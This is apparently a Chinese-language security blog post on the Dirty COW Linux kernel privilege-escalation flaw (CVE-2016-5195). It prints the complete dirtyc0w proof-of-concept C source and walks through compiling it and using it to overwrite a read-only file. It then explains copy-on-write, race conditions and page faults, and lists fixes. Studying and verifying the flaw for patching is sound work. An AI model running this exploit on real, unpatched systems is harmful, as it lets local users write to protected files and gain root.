文章目录
  1. 1. 漏洞描述:
  2. 2. 验证漏洞
  3. 3. 分析与思考
  4. 4. 修复方案

漏洞描述:

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。
一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。

漏洞危害:
低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权。
影响范围:
inux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

验证漏洞

  1. POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return 1; }
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
  1. 编译POC


编译选项中指定-pthread 会附加一个宏定义 -D_REENTRANT该宏会导致 libc 头文件选择那些thread-safe的实现。-o参数为编译后输出文件名。

执行以下命令进行将AAAAAAAAAAAAAAAA字符串保存到test文件内。

如果测试写入文件,没有r也就是读取权限,就会导致POC执行失败。因为该漏洞是利用系统处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,越权写入文件内容。
将权限设置为 0404 (Linux八进制对权限控制的定义写法),0404代表所有用户默认情况下对该文件只有读取权限,无法修改删除。

  1. 准备测试POC Copy-on-Write越权写文件效果。

执行dirtyc0w文件, test 是文件名参数,BBBBBBBBBBBBBBBBB为利用漏洞写入的值。
下面执行该POC,根据返回信息已经执行成功。 (BBBBBBBBBBBBBBBB是测试字符串可随意测试修改)
最后通过cat命令查看test文件,发现该文件已被输入的字符串BBBBBBBBBBBBBBBB覆盖。

根据POC执行后的结果,判断该系统存在 CVE-2016-5195(脏牛)内核提权漏洞。

分析与思考

  1. Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。
    一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致某些Linux版本提权漏洞。
    低权限用户可以利用该漏洞修改只读内存,进而执行任意代码获取Root权限。
    该漏洞影响所有目前运行Linux系统的设备,包含但不限于运行Linux系统的服务器,Docker容器/手机/路由器/智能设备等。
  2. Linux写时拷贝技术(copy-on-write)
    在Linux程序中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,linux中引入了“写时复制“技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程
  3. 竞态条件
    竞态条件(race condition)是指设备或系统出现不恰当的执行时序,而得到不正确的结果。
  4. linux内存管理—缺页异常处理
    触发异常的线性地址处于用户空间的vma中,但还未分配物理页,如果访问权限OK的话内核就给进程分配相应的物理页。
    触发异常的线性地址不处于用户空间的vma中,这种情况得判断是不是因为用户进程的栈空间消耗完而触发的缺页异常。
    如果 是的话则在用户空间对栈区域进行扩展,并且分配相应的物理页,如果不是则作为一次非法地址访问来处理,内核将终结进程
  5. 缺页中断
    缺页中断就是要访问的页不在主存,需要操作系统将其调入主存后再进行访问。在这个时候,被内存映射的文件实际上成了一个分页交换文件。

修复方案

  1. 更新最新Linux Kernel源码,并重新编译,也可直接升级最新版本。

修复相关代码:链接

  1. 免重启热修补

由于该漏洞位于 Linux 内核,发行版官方的内核更新只有在重启后才能生效。如果您的线上业务不能中断,可以采用下面这种基于 systemtap 的热修补方法,并在合适的时候更新系统内核。
systemtap 是一款内核调试、性能分析工具,其原理是插入新的内核模块并根据需要修改逻辑,实现功能。该工具同样可以被用于安全应急响应,在不重启系统的前提下修补安全漏洞或者提高利用难度。这方面的运用可以参考 Red Hat Customer Portal的一篇博客。

  • Ubuntu系统修复安装SystemTap

  • 测试SystemTap安装成功

  • 执行热修补

热修补失败,尴尬。读了/usr/share/doc/systemtap/README.Debian一脸蒙逼,后续再研究。

文章目录
  1. 1. 漏洞描述:
  2. 2. 验证漏洞
  3. 3. 分析与思考
  4. 4. 修复方案